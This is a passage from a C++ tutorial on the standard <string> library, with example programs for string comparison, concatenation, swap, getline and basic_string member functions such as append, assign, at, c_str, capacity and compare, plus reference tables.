cout<<"\nOperation: (str1 != str2)"<<endl;
if(str1 != str2)
cout<<"str1 & str2 are not equal."<<endl;
else
cout<<"str1 & str2 are equal."<<endl;

//Comparison between left-side object of C-style string


//type & right-side object of type basic_string
cout<<"\nOperation: (str3 != str2)"<<endl;
if(str3 != str2)
cout<<"str3 & str2 are not equal."<<endl;
else
cout<<"str3 & str2 are equal."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of C-style string type
cout<<"\nOperation: (str1 != str3)"<<endl;
if(str1 != str3)
cout<<"str1 & str3 are not equal."<<endl;
else
cout<<"str1 & str3 are equal."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 == str2)"<<endl;
if(str1 == str2)
cout<<"str1 & str2 are equal."<<endl;
else

www.tenouk.com Page 3 of 38
cout<<"str1 & str2 are not equal."<<endl;

//Comparison between left-hand object of C-style string type


//& right-hand object of type basic_string
cout<<"\nOperation: (str3 == str2)"<<endl;
if(str3 == str2)
cout<<"str3 & str2 are equal."<<endl;
else
cout<<"str3 & str2 are not equal."<<endl;

//Comparison between left-hand object of type basic_string


//& right-hand object of C-style string type
cout<<"\nOperation: (str1 == str3)"<<endl;
if(str1 == str3)
cout<<"str1 & str3 are equal."<<endl;
else
cout<<"str1 & str3 are not equal."<<endl;
return 0;
}

Output:

//< and > operators


#include <string>
#include <iostream>
using namespace std;

int main()
{
//Declaring objects of type basic_string<char>
string str1("testingthree");
string str2("testingtwo");
cout<<"str1 is = "<<str1<<endl;
cout<<"str2 is = "<<str2<<endl;

//Declaring a C-style string


char *str3 = "testingone";
cout<<"str3 C-style string is = "<<str3<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 < str2)"<<endl;
if(str1 < str2)
cout<<"str1 is less then string str2."<<endl;
else
cout<<"str1 is not less then string str2."<<endl;

//Comparison between left-side object of C-style string


//type & right-side object of type basic_string
cout<<"\nOperation: (str3 < str2)"<<endl;
if(str3 < str2)
cout<<"str3 is less then string str2."<<endl;

www.tenouk.com Page 4 of 38
else
cout<<"str3 is not less then string str2."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of C-style string type
cout<<"\nOperation: (str1 < str3)"<<endl;
if(str1 < str3)
cout<<"str1 is less then string str3."<<endl;
else
cout<<"str1 is not less then string str3."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 > str2)"<<endl;
if(str1 > str2)
cout<<"str1 is greater then string str2."<<endl;
else
cout<<"str1 is not greater then string str2."<<endl;

//Comparison between left-hand object of C-style string type


//& right-hand object of type basic_string
cout<<"\nOperation: (str3 > str2)"<<endl;
if(str3 > str2)
cout<<"str3 is greater then string str2."<<endl;
else
cout<<"str3 is not greater then string str2."<<endl;

//Comparison between left-hand object of type basic_string


//& right-hand object of C-style string type
cout<<"\nOperation: (str1 > str3)"<<endl;
if(str1 > str3)
cout<<"str1 is greater then string str3."<<endl;
else
cout<<"str1 is not greater then string str3."<<endl;
return 0;
}

Output:

//>= and <= operators


#include <string>
#include <iostream>
using namespace std;

int main( )
{
//Declaring an objects of type basic_string<char>
string str1("testingone");
string str2("testingtwo");
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
//Declaring a C-style string

www.tenouk.com Page 5 of 38
char *str3 = "testingone";
cout<<"str3 C-style string is = "<<str3<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 <= str2)"<<endl;
if(str1 <= str2)
cout<<"str1 is less than or equal to str2."<<endl;
else
cout<<"str1 is not less than or equal to str2."<<endl;

//Comparison between left-side object of C-style string


//type & right-side object of type basic_string
cout<<"\nOperation: (str3 <= str2)"<<endl;
if(str3 <= str2)
cout<<"str3 is less than or equal to str2."<<endl;
else
cout<<"str3 is not less than or equal to str2."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of C-style string type
cout<<"\nOperation: (str1 <= str3)"<<endl;
if(str1 <= str3)
cout<<"str1 is less than or equal to str3."<<endl;
else
cout<<"str1 is not less than or equal to str3."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 >= str2)"<<endl;
if(str1 >= str2)
cout<<"str1 is greater than or equal to str2."<<endl;
else
cout<<"str1 is not greater than or equal to str2."<<endl;

//Comparison between left-hand object of C-style string type


//& right-hand object of type basic_string
cout<<"\nOperation: (str3 >= str2)"<<endl;
if(str3 >= str2)
cout<<"str3 is greater than or equal to str2."<<endl;
else
cout<<"str3 is not greater than or equal to str2."<<endl;

//Comparison between left-hand object of type basic_string


//& right-hand object of C-style string type
cout<<"\nOperation: (str1 >= str3)"<<endl;
if(str1 >= str3)
cout<<"str1 is greater than or equal to str3."<<endl;
else
cout<<"str1 is not greater than or equal to str3."<<endl;
return 0;
}

Output:

www.tenouk.com Page 6 of 38
- The operator skips the leading white spaces unless the skipws flag is set. It reads all the following
characters until the next character is a white space or the end of the file is reached.

//<< and >> operators


#include <string>
#include <iostream>
using namespace std;

int main()
{
string Sample = "Testing the << and >> operators.";
string Var1, Var2;

cout<<Sample<<endl;
cout<<"Enter a string or a word: ";
cin>>Var1;
cout<<"Enter another string or a word: ";
cin>>Var2;
cout<<"The strings entered are: "<<Var1<<" and "<<Var2<<endl;

return 0;
}

Output:

//concatenating using ‘+’ operator


#include <string>
#include <iostream>
using namespace std;

int main()
{
//Declaring an object of type basic_string<char>
string str1("StringOne");
string str2("StringTwo");
//Declaring a C-style string
char *str3 = "StringThree";
//Declaring a character constant
char chr = '?';

cout<<"str1 string is = "<<str1<<endl;

www.tenouk.com Page 7 of 38
cout<<"str2 string is = "<<str2<<endl;
cout<<"str3 C-style string is = "<<str3<<endl;
cout<<"A character constant chr is = "<<chr<<endl;

//Concatenates an object of type basic_string


//with an object of type basic_string
cout<<"\nOperation: str12 = str1 + str2"<<endl;
string str12 = str1 + str2;
cout<<"str12 = "<<str12<<endl;

//Concatenates an object of type basic_string


//with an object of C-syle string type
cout<<"\nOperation: str13 = str1 + str3"<<endl;
string str13 = str1 + str3;
cout<<"str13 = "<<str13<<endl;

//Concatenates an object of type basic_string


//with a character constant
cout<<"\nOperation: str13chr = str13 + chr"<<endl;
string str13chr = str13 + chr;
cout<<"str13chr = "<<str13chr<<endl;
return 0;
}

Output:

25.5 <string> Specialized Template Functions

Specialized Template
Description
Function
swap() Exchanges the arrays of characters
of two strings.

Table 25.3: swap() function

- If the strings being swapped have the same allocator object, the swap() member function:

▪ Occurs in constant time.


▪ Throws no exceptions.
▪ Invalidates no references, pointers, or iterators that designate elements in the two strings.

- Otherwise, it performs a number of element assignments and constructor calls proportional to the
number of elements in the two controlled sequences.

//swap()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//Declaring an object of type basic_string<char>
string str1("StringOne");
string str2("StringTwo");

www.tenouk.com Page 8 of 38
cout<<"Before swapping string str1 and str2:"<<endl;
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;

swap(str1, str2);
cout<<"\nOperation: swap(str1, str2)"<<endl;
cout<<"After swapping string str1 and str2:"<<endl;
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
return 0;
}

Output:

25.6 <string> Functions

Function Description
The getline() function creates a string containing all of the
characters from the input stream until one of the following
situations occurs:
getline()
- End of file.
- The delimiter is encountered.
- is.max_str elements have been extracted.

Table 25.4: getline() function

- Program example

//getline()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str;
string str1;
string str2;
cout<<"Enter a line of text: ";
getline(cin, str);
cout<<"You entered: "<<str<<endl;
cout<<"Enter a line of text, <space> as the delimiter: "<<endl;
getline(cin, str1, ' ');
cout<<"You entered: "<<str1<<endl;
return 0;
}

Output:

25.7 <string> Template Classes

www.tenouk.com Page 9 of 38
- With <string>, we are provided with two string template classes as shown in the following table.

Class Description
A template class that describes objects that can store a sequence
basic_string
of arbitrary character-like objects.
A template class that describes attributes associated with a
char_traits
character of type CharType

Table 25.5: <string> classes

25.8 basic_string Template Class

- The sequences controlled by an object of template class basic_string are the Standard C++ string
class and are usually referred to as strings, but they should not be confused with the null-terminated C-
strings used throughout the Standard C++ Library.
- The string class is a container that enables the use of strings as normal types, such as using
comparison and concatenation operations, iterators and STL algorithms. The basic_string
template structure is shown below.

template <
class CharType,
class Traits = char_traits<CharType>,
class Allocator = allocator<CharType>
>

- Where:

Entity Description
The data type of a single character to be stored in the string. The Standard C++
CharType Library provides two specializations of this template class:
1. string, for elements of type char,
2. wstring, for elements of type wchar_t.
Traits Various important properties of the CharType elements in a basic_string
specialization are described by the class Traits.
The type that represents the stored allocator object that encapsulates details about
Allocator
the string's allocation and de-allocation of memory. The default value is
allocator<Type>.

Table 25.6: basic_string template parameters

25.9 basic_string Template Class Typedef

- The following table is the list of the typedef used in basic_string template class. Their usages are
presented in the program examples part.

Typedef Brief Description


A type that represents the allocator class for a string object. The type is
allocator_type
a synonym for the template parameter Allocator.
A type that provides a random-access iterator that can access and read a
const element in the string. A type const_iterator cannot be used
const_iterator
to modify the value of a character and is used to iterate through a string
in a forward direction.
A type that provides a pointer to a const element in a string. The type
is a synonym for allocator_type::const_pointer. For type
const_pointer string, it is equivalent to char*. Pointers that are declared const
must be initialized when they are declared. const pointers always point
to the same memory location and may point to constant or non constant
data.
A type that provides a reference to a const element stored in a string
for reading and performing const operations. A type
const_reference cannot be used to modify the value of an
const_reference
element. The type is a synonym for
allocator_type::const_reference. For string type, it is
equivalent to const char&.

www.tenouk.com Page 10 of 38
A type that provides a random-access iterator that can read any const
const_reverse_iterator element in the string. A type const_reverse_iterator cannot
modify the value of a character and is used to iterate through a string in
reverse.
A type that provides the difference between two iterators those refer to
elements within the same string. The signed integer type describes an
difference_type object that can represent the difference between the addresses of any
two elements in the controlled sequence. For type string, it is
equivalent to ptrdiff_t.
A type that provides a random-access iterator that can read or modify
any element in a string. A type iterator can be used to modify the
iterator
value of a character and is used to iterate through a string in a forward
direction.
An unsigned integral value initialized to –1 that indicates either "not
found" or "all remaining characters" when a search function fails.
npos When the return value is to be checked for the npos value, it might not
work unless the return value is of type size_type and not either int
or unsigned.
A type that provides a pointer to a character element in a string or
character array. The type is a synonym for
pointer
allocator_type::pointer. For type string, it is equivalent
to char*.
A type that provides a reference to an element stored in a string. A type
reference can be used to modify the value of an element.
reference
The type is a synonym for allocator_type::reference.
For type string, it is equivalent to chr&.
A type that provides a random-access iterator that can read or modify an
element in a reversed string. A type reverse_iterator can be
reverse_iterator
used to modify the value of a character and is used to iterate through a
string in reverse.
An unsigned integral type for the number of elements in a string. It is
size_type equivalent to allocator_type::size_type. For type string,
it is equivalent to size_t.
A type for the character traits of the elements stored in a string. The
traits_type type is a synonym for the second template parameter Traits.
For type string, it is equivalent to char_traits<char>.
A type that represents the type of characters stored in a string. It is
value_type equivalent to traits_type::char_type and is equivalent to
char for objects of type string.

Table 25.7: basic_string typedefs

25.10 basic_string Template Class Member Functions

- The following table is a list of member functions available in basic_string template class.

Member Function Brief Description


append() Adds characters to the end of a string.
assign() Assigns new character values to the contents of a string.
at()
Returns a reference to the element at a specified location in the
string.
Constructs a string that is empty or initialized by specific
basic_string() characters or that is a copy of all or part of some other string
object or C-string.
begin() Returns an iterator addressing the first element in the string.
c_str()
Converts the contents of a string as a C-style, null-terminated,
string.
capacity()
Returns the largest number of elements that could be stored in a
string without increasing the memory allocation of the string.
clear() Erases all elements of a string.
compare()
Compares a string with a specified string to determine if the two
strings are equal or if one is lexicographically less than the other.
copy() Copies at most a specified number of characters from an indexed

www.tenouk.com Page 11 of 38
position in a source string to a target character array.
data() Converts the contents of a string into an array of characters.
empty() Tests whether the string contains characters or not.
end()
Returns an iterator that addresses the location succeeding the last
element in a string.
Removes an element or a range of elements in a string from
erase()
specified positions. Notice the different with clear().
find()
Searches a string in a forward direction for the first occurrence of
a substring that matches a specified sequence of characters.
find_first_not_of()
Searches through a string for the first character that is not any
element of a specified string.
find_first_of()
Searches through a string for the first character that matches any
element of a specified string.
find_last_not_of()
Searches through a string for the last character that is not any
element of a specified string.
find_last_of()
Searches through a string for the last character that is an element
of a specified string.
get_allocator() Returns a copy of the allocator object used to construct the string.
insert()
Inserts an element or a number of elements or a range of elements
into the string at a specified position.
length() Returns the current number of elements in a string.
max_size() Returns the maximum number of characters a string could contain.
push_back() Adds an element to the end of the string.
rbegin() Returns an iterator to the first element in a reversed string.
rend()
Returns an iterator that point just beyond the last element in a
reversed string.
Replaces elements in a string at a specified position with specified
replace() characters or characters copied from other ranges or strings or C-
strings.
reserve()
Sets the capacity of the string to a number at least as great as a
specified number.
resize()
Specifies a new size for a string, appending or erasing elements as
required.
rfind()
Searches a string in a backward direction for the first occurrence
of a substring that matches a specified sequence of characters.
size() Returns the current number of elements in a string.
substr()
Copies a substring of at most some number of characters from a
string beginning from a specified position.
swap() Exchange the contents of two strings.

Table 25.8: basic_string member functions

25.11 basic_string Template Class Operators

- The following table is a list of the operators available in basic_string template class.

Operator Brief Description


operator+= Appends characters to a string.
Assigns new character values to the
operator=
contents of a string.
Provides a reference to the character with a
operator[]
specified index in a string.

Table 25.9: basic_string operator

25.12 basic_string Program Examples

- Let try program examples demonstrating the basic_string template class member functions and
other creatures readily available for us.

www.tenouk.com Page 12 of 38
append()

- Characters may be appended to a string using the operator+= or the member functions append()
or push_back().
- operator+= appends single-argument values while the multiple-argument append() member
function allows a specific part of a string to be specified for adding.

//append()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//appending a C-string to a string
string str1("Playing ");
const char *str2 = "with a string";

cout<<"str1 is: "<<str1<<endl;


cout<<"str2, C string is: "<<str2<<endl;
str1.append(str2);
cout<<"Operation: str1.append(str2)"<<endl;
cout<<"Appending str2 to str1: "<<str1<<endl;

//appending part of a C-string to a string


string str3 ("Replaying ");
const char *str4 = "the string ";

cout<<"\nstr3 string is: "<<str3<<endl;


cout<<"str4 C-string is: "<<str4<<endl;
str3.append(str4, 6);
cout<<"Operation: str3.append(str4, 6)"<<endl;
cout<<"Appending part of the str4 to string str3: \n"<<str3<<endl;

//appending part of one string to another


string str5("Again "), str6("string manipulation");

cout<<"\nstr5 is: "<<str5<<endl;


cout<<"str6 is: "<<str6<<endl;
str5.append(str6, 4, 6);
cout<<"Operation: str5.append(str6, 4, 6)"<<endl;
cout<<"The appended string is: "<<str5<<endl;

//appending one string to another in two ways,


//comparing append and operator []
string str7("First "), str8("Second "), str9("Third ");
cout<<"\nstr7 is: "<<str7<<"\nstr8 is: "<<str8<<"\nstr9 is: "<<str9<<endl;
str7.append(str8);
cout<<"Operation: str7.append(str8)"<<endl;
cout<<"The appended string str7 is: "<<str7<<endl;
str7 += str9;
cout<<"Operation: str7 += str9"<<endl;
cout<<"The re appended string is: "<<str7<<endl;

//appending characters to a string


string str10("What string");
cout<<"\nstr10 string is: "<<str10<<endl;
str10.append(3, '?');
cout<<"Operation: str10.append(3, '?')"<<endl;
cout<<"str10 string appended with ? is: "<<str10<<endl;

//appending a range of one string to another


string str11("Finally "), str12("comes the END ");
cout<<"\nstr11 is: "<<str11<<" str12 is: "<<str12<<endl;
str11.append(str12.begin() + 6, str12.end() - 1);
cout<<"Operation:\nstr11.append(str12.begin() + 6, str12.end() - 1)"<<endl;
cout<<"The appended str11 String is: "<<str11<<endl;
return 0;
}

Output:

www.tenouk.com Page 13 of 38
assign()

- The strings can be assigned new character values. The new value can be either a string and C-string or
a single character.
- The operator= may be used if the new value can be described by a single parameter; otherwise the
member function assign(), which has multiple parameters, can be used to specify which part of the
string is to be assigned to a target string.

//assign(), string assignment


#include <string>
#include <iostream>
using namespace std;

int main()
{
//assigning the characters of a C-string to a string
string str1;
const char *str2 = "StRiNg assign()";

cout<<"str2, C string is: "<<str2<<endl;


str1.assign(str2);
cout<<"Operation: str1.assign(str2)"<<endl;
cout<<"Assigning the C-string str2 to str1 string: \n"<<str1<<endl;

//assigning a number of a C-string characters to a string


string str3;
const char *str4 = "Another StRiNg assign()";
cout<<"\nstr4 C string is: "<<str4<<endl;
str3.assign(str4, 11);
cout<<"Operation: str3.assign(str4, 11)"<<endl;
cout<<"Assigning some portion of the str4 "
<<"to str3 string: \n"<<str3<<endl;

//assigning a number of the characters from one string to another string


string str5("First "), str6("Second sTrInG");
cout<<"\nstr5 string is: "<<str5<<endl;
cout<<"str6 string is: "<<str6<<endl;
str5.assign(str6, 7, 6);
cout<<"Operation: str5.assign(str6, 7, 6)"<<endl;

www.tenouk.com Page 14 of 38
cout<<"Newly assigned str5 string is: "<<str5<<endl;

//assigning the characters from one string to another string


//in two equivalent ways, comparing the assign and operator =
string str7("First"), str8("Second"), str9("Third");
cout<<"\nstr7 string is: "<<str7<<endl;
cout<<"str8 string is: "<<str8<<endl;
cout<<"str9 string is: "<<str9<<endl;
str7.assign(str8);
cout<<"Operation: str7.assign(str8)"<<endl;
cout<<"Newly assigned str7 with str8 string is: "<<str7<<endl;
str7 = str9;
cout<<"Operation: str7 = str9"<<endl;
cout<<"String str7 reassigned with str9 string is: "<<str7<<endl;

//assigning a specific number of characters of a certain value to a string


string str10("Working STrInG");
cout<<"\nstr10 string is: "<<str10<<endl;
str10.assign(3, '!');
cout<<"Operation: str10.assign(3, '!')"<<endl;
cout<<"str10 string assigned with character '!' is: "<<str10<<endl;

//assigning a value from a range of one string to another string


string str11("Comes "), str12("the END ");
cout<<"\nstr11 string is: "<<str11<<endl;
cout<<"str12 string is: "<<str12<<endl;
str11.assign(str12.begin() + 4, str12.end() - 1);
cout<<"Operation: str11.assign(str12.begin()+4, str12.end()-1)"<<endl;
cout<<"str11 assigned a range of str12 string is: \n"<<str11<<endl;
return 0;
}

Output:

at()

- The first element of the string has an index of zero and the following elements are indexed
consecutively by the positive integers, so that a string of length n has an nth element indexed by the
number n – 1.

www.tenouk.com Page 15 of 38
- The member operator[] is faster than the member function at() for providing read and write
access to the elements of a string.
- The member operator[] does not check whether the index passed as a parameter is valid but the
member function at() does and so should be used in the validity is not certain. An invalid index,
which is an index less that zero or greater than or equal to the size of the string, passed to the member
function at() throws an out_of_range class exception.
- An invalid index passed to the operator[] results in undefined behavior, but the index equal to the
length of the string is a valid index for const strings and the operator returns the null-character when
passed this index.
- The reference returned may be invalidated by string reallocations or modifications for the non-const
strings.

//at()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("Operation"), str2("Desert Storm");
const string constr1("Making cakes"), constr2("Start eating");

cout<<"str1 string is: "<<str1<<endl;


cout<<"str2 string is: "<<str2<<endl;
cout<<"constr1, const string is: "<<constr1<<endl;
cout<<"constr2, const string is: "<<constr2<<endl;

//Element access of the non const strings


basic_string <char>::reference RefStr1 = str1[4];
basic_string <char>::reference RefStr2 = str2.at(7);

//index starts from 0 lor!


cout<<"\n---str1[5]---"<<endl;
cout<<"The 5th character of str1 is: "<<RefStr1<<endl;
cout<<"---str2.at(7)---"<<endl;
cout<<"The 7th character of str2 is: "<<RefStr2<<endl;

//Element access to the const strings


basic_string <char>::const_reference cRefStr1 = constr1[constr1.length()];
basic_string <char>::const_reference cRefStr2 = constr2.at(8);

cout<<"---constr1.length()---"<<endl;
cout<<"The length of the constr1 string is: "<<unsigned int(constr1.length())<<endl;

cout<<"\nTesting the null character..."<<endl;


cout<<"---cRefStr1 = constr1[constr1.length()]---"<<endl;
cout<<"Operation: (cRefStr1 == \'\\0\')"<<endl;
if(cRefStr1 == '\0')
cout<<"The null character is returned."<<endl;
else
cout<<"The null character is not returned."<<endl;

cout<<"\n---constr2.at(8)---"<<endl;
cout<<"The 8th character of the constr2 is: "<<cRefStr2<<endl;
return 0;
}

Output:

www.tenouk.com Page 16 of 38
basic_string::basic_string

- Constructs a string that is empty or initialized by specific characters or that is a copy of all or part of
some other string object or C-string.
- The five member functions and their parameters are shown below but it is not our concern here. We
just want to know how to use the member functions in our program.
- Then, the following program example tries to describe the string object initialization.

basic_string(
const value_type* _Ptr,
size_type _Count = npos,
const allocator_type& _Al = Allocator()
);
basic_string(
const basic_string& _Right,
size_type _Roff = 0,
size_type _Count = npos
);
basic_string(
const basic_string& _Right,
size_type _Roff = 0,
size_type _Count = npos,
const allocator_type& _Al = Allocator()
);
basic_string(
size_type _Count,
value_type _Ch,
const allocator_type& _Al = Allocator()
);
explicit basic_string(
const allocator_type& _Al = Allocator()
);
template <class InputIterator>
basic_string(
InputIterator _First,
InputIterator _Last,
const allocator_type& _Al = Allocator()
);

- The constructors for class basic_string create and initialize strings as follows:

▪ The first member function creates a string that is initialized by all or part of a C-string.
▪ The second member function creates a string that is initialized by all or part of an object of type
basic_string.
▪ The third member function creates a string that is initialized by a specific number of characters of
a parameter stipulated value.
▪ The fourth member function creates an empty string.
▪ The fifth member function creates a string that is initialized by the characters in the range whose
boundaries are delimited by input iterators.

www.tenouk.com Page 17 of 38
//basic_string
#include <string>
#include <iostream>
using namespace std;

int main()
{
//initializing with a C-string
const char *str1 = "The basic_string";
basic_string <char> str2(str1, 5);
cout<<"str1 string is: "<<str1<<endl;
cout<<"Operation: str2(str1, 5)"<<endl;
cout<<"str2 initialized by str1 is: "<<str2<<"\n\n";

//initializing with a string


string str3("Initialize with a StRinG?");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char> str4(str3, 6, 10);
cout<<"Operation: str4(str3, 6, 10)"<<endl;
cout<<"str4 initialized by part of the str3 string is: \n"<<str4<<"\n\n";

//initializing a string with a number of characters of a specific value


basic_string <char> str5(6, '7');
cout<<"Operation: str5(6, '7')"<<endl;
cout<<"str5 initialized by six number of 7s is: "<<str5<<"\n\n";

//creating an empty string and string with a specified allocator


basic_string <char> str6;
string str7;
//allocate a storage
basic_string <char> str8(str7.get_allocator());
//test the emptiness
cout<<"Operation: str8.empty()"<<endl;
if(str8.empty())
cout<<"The string str8 is empty."<<endl;
else
cout<<"The string str8 is not empty."<<endl;

//fill up some string


str8 = "Not empty!";
cout<<"Operation: str8 = Not empty!"<<endl;
//retest again...
if(str8.empty())
cout<<"The string str8 is empty."<<endl;
else
cout<<"The string str8 is not empty."<<endl;
cout<<endl;

//initializing a string from another range of characters


string str10("Test StRiNg");
cout<<"str10 string is: "<<str10<<endl;
cout<<"Operation: \nstr11(str10.begin()+5, str10.end())"<<endl;
basic_string <char> str11(str10.begin()+5, str10.end());
cout<<"str11 initialized by another range of characters is: \n"<<str11<<endl;
return 0;
}

Output:

www.tenouk.com Page 18 of 38
begin()

- If the return value of begin() is assigned to a const_iterator, the string object cannot be
modified.
- If the return value of begin() is assigned to an iterator, the string object can be modified.

//begin(), end()
#include <string>
#include <iostream>
using namespace std;

int main()
{

string Str1("Testing the begin() and end()"), Str2;


basic_string <char>::iterator Str1Iter;
//const_iterator…
basic_string <char>::const_iterator Str1CIter;

//...an error because the iterator Str1CIter is const


//*Str1CIter = 'Z';

cout<<"String Str1 is: "<<Str1<<endl;


Str1Iter = Str1.begin();
cout<<"Operation: Str1Iter = Str1.begin()"<<endl;
cout<<"The first character of the string Str1 is: "<<*Str1Iter<<"\n\n";

//using dereferenced iterator to modify a character


*Str1Iter = 'F';
cout<<"Operation: *Str1Iter = 'F'"<<endl;
cout<<"Now, the first character of the new Str1 is: "<<*Str1Iter<<endl;
cout<<"The full modified string Str1 is now: \n"<<Str1<<"\n\n";

//For an empty string, begin() == end()


cout<<"Operation: if(Str2.begin() == Str2.end())"<<endl;
if(Str2.begin() == Str2.end())
cout<<"The string Str2 is empty."<<endl;
else
cout<<"The string Str2 is not empty."<<endl;
cout<<endl;

//Fill up some string and retest...


Str2 = "Not empty";
cout<<"Operation: Str2 = \"Not empty\""<<endl;
if(Str2.begin() == Str2.end())
cout<<"Now the string Str2 is empty."<<endl;
else
cout<<"Now the string Str2 is not empty."<<endl;
return 0;

www.tenouk.com Page 19 of 38
}

Output:

c_str()

- Objects of type string belonging to the C++ template class basic_string<char> are not
necessarily null terminated.
- The null character ' \0 ' is used as a special character in a C-string to mark the end of the string but has
not special meaning in an object of type string and may be a part of the string just like any other
character.
- There is an automatic conversion from const char* into strings, but the string class does not
provide for automatic conversions from C-style strings to objects of type basic_string<char>.
- The returned C-style string should not be modified, as this could invalidate the pointer to the string, or
deleted, as the string has a limited lifetime and is owned by the class string.

//c_str(), length(), data(), strlen()


#include <string>
#include <iostream>
using namespace std;

int main( )
{

string str1("Testing the c_str");


cout<<"The original string object str1 is: "<<str1<<endl;
cout<<"Operation: str1.length()"<<endl;
cout<<"The length of the string object str1 = "<<str1.length()<<"\n\n";

//A string to an array of characters conversion


const char *ptr1 = 0;
ptr1= str1.data();
cout<<"Operation: ptr1= str1.data()"<<endl;
cout<<"The string object pointed by ptr1 is: \n"<<ptr1<<endl;
cout<<"\nOperation: strlen(ptr1)"<<endl;
cout<<"The length of character array str1 = "<<strlen(ptr1)<<"\n\n";

//A string to a C-style string conversion


const char *cstr1 = str1.c_str();
cout<<"Operation: *cstr1 = str1.c_str()"<<endl;
cout<<"The C-style string c_str1 is: "<<cstr1<<endl;
cout<<"\nOperation: strlen(cstr1)"<<endl;
cout<<"The length of C-style string str1 = "<<strlen(cstr1)<<endl;
return 0;
}

Output:

www.tenouk.com Page 20 of 38
capacity()

- The member function capacity() returns the storage currently allocated to hold the controlled
sequence, a value at least as large as size.

//capacity(), size(), erase()


//length(), max_size()
#include <string>
#include <iostream>
using namespace std;

int main( )
{
string str1("Testing the capacity()");
cout<<"str1 string is: "<<str1<<endl;

//The size and length member functions differ in name only


basic_string <char>::size_type SizeStr1, LenStr1;
SizeStr1 = str1.size();
LenStr1 = str1.length();

basic_string <char>::size_type CapStr1, MaxSizeStr1;


CapStr1 = str1.capacity();
MaxSizeStr1 = str1.max_size();

//Compare size, length, capacity & max_size of a string


cout<<"\nOperation: str1.size()"<<endl;
cout<<"The size of str1 is: "<<SizeStr1<<" characters"<<endl;
cout<<"\nOperation: str1.length()"<<endl;
cout<<"The length of str1 is: "<<LenStr1<<" characters"<<endl;
cout<<"\nOperation: str1.capacity()"<<endl;
cout<<"The capacity of str1 is: "<<CapStr1<<" characters"<<endl;
cout<<"\nOperation: str1.max_size()"<<endl;
cout<<"The max_size of str1 is: "<<MaxSizeStr1<<" characters"<<endl;

//erase some characters...


str1.erase(6, 5);
//Re test...
cout<<"\nOperation: str1.erase(6, 5)"<<endl;
cout<<"The new str1 string is: "<<str1<<"\n\n";

SizeStr1 = str1.size();
LenStr1 = str1.length();
CapStr1 = str1.capacity();
MaxSizeStr1 = str1.max_size();

//Compare size, length, capacity & max_size of a string


//after erasing part of the original string
cout<<"The new size of str1 is: "<<SizeStr1<<" characters"<<endl;
cout<<"The new length of str1 is: "<<LenStr1<<" characters"<<endl;
cout<<"The new capacity of str1 is: "<<CapStr1<<" characters"<<endl;
cout<<"The new max_size of str1 is: "<<MaxSizeStr1<<" characters"<<endl;
return 0;
}

Output:

www.tenouk.com Page 21 of 38
clear()

- The string on which the member function clear() is called will be empty.

//clear()
#include <string>
#include <iostream>
using namespace std;

int main( )
{

string str1("Testing the clear()");


basic_string <char>::iterator StrIter;
//Normal...
cout<<"str1 string is :"<<str1<<endl;
//using iterator....iterate character by character...
cout<<"str1 string is: ";
for (StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;

//str1.clear();
cout<<"\nErasing part of the string using erase(13)"<<endl;
str1.erase(13);
cout<<"Operation: str1.erase(13)"<<endl;
cout<<"The modified str1 string is: ";
//using iterator...
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;

//For an empty string, begin is equivalent to end


cout<<"\nOperation: str1.begin()==str1.end()"<<endl;
if(str1.begin() == str1.end())
cout<<"The str1 string is empty."<<endl;
else
cout<<"The str1 string has some data"<<endl;

//erasing all the data...


cout<<"\nOperation: str1.erase(13)"<<endl;
cout<<"Erasing all the data using erase()"<<endl;
str1.erase();
//re test...
cout<<"The modified string str1 is: "<<endl;
cout<<"\nOperation: str1.begin()==str1.end()"<<endl;
if(str1.begin() == str1.end())
cout<<"The str1 string is empty."<<endl;
else
cout<<"The str1 string has some data"<<endl;

www.tenouk.com Page 22 of 38
return 0;
}

Output:

compare()

- The compare() member functions compare either all or part of the parameter and operand strings
depending on which in used.
- A negative return value if the operand string is less than the parameter string; zero if the two strings are
equal; or a positive value if the operand string is greater than the parameter string.

//compare() program example part I


#include <string>
#include <iostream>
using namespace std;

int main()
{

//Comparing a string to a string...


//the character index start from 0
int str1;
string str2("First");
string str3("First");
cout<<"str2 string is: "<<str2<<endl;
cout<<"str3 string is: "<<str3<<endl;

//compare str2 and str3 assign the result to str1


cout<<"Operation: str2.compare(str3)"<<endl;
str1 = str2.compare(str3);
if(str1 < 0)
cout<<"The str2 string is less than the str3 string."<<endl;
else if(str1 == 0)
cout<<"The str2 string is equal to the str3 string."<<endl;
else
cout<<"The str2 string is greater than the str3 string."<<endl;
cout<<endl;

//Comparing part of a string to a string


int str4, str5;
string str6("SecondThird");
string str7("Third");
cout<<"str6 string is: "<<str6<<endl;
cout<<"str7 string is: "<<str7<<endl;

cout<<"Operation: str6.compare(6, 5, str7)"<<endl;


str4 = str6.compare(6, 5, str7);
if(str4 < 0)
cout<<"The last 5 characters of the str6 string are less than\n"
<<"the str7 string."<<endl;
else if(str4 == 0)
cout<<"The last 5 characters of the str6 string are equal to\n"
<<"the str7 string."<<endl;
else

www.tenouk.com Page 23 of 38
cout<<"The last 5 characters of the str6 string is greater than\n"
<<"the str7 string."<<endl;
cout<<endl;

cout<<"Operation: str6.compare(0, 6, str7)"<<endl;


str5 = str6.compare(0, 6, str7);
if(str5 < 0)
cout<<"The first 6 characters of the str6 \nstring are less than "
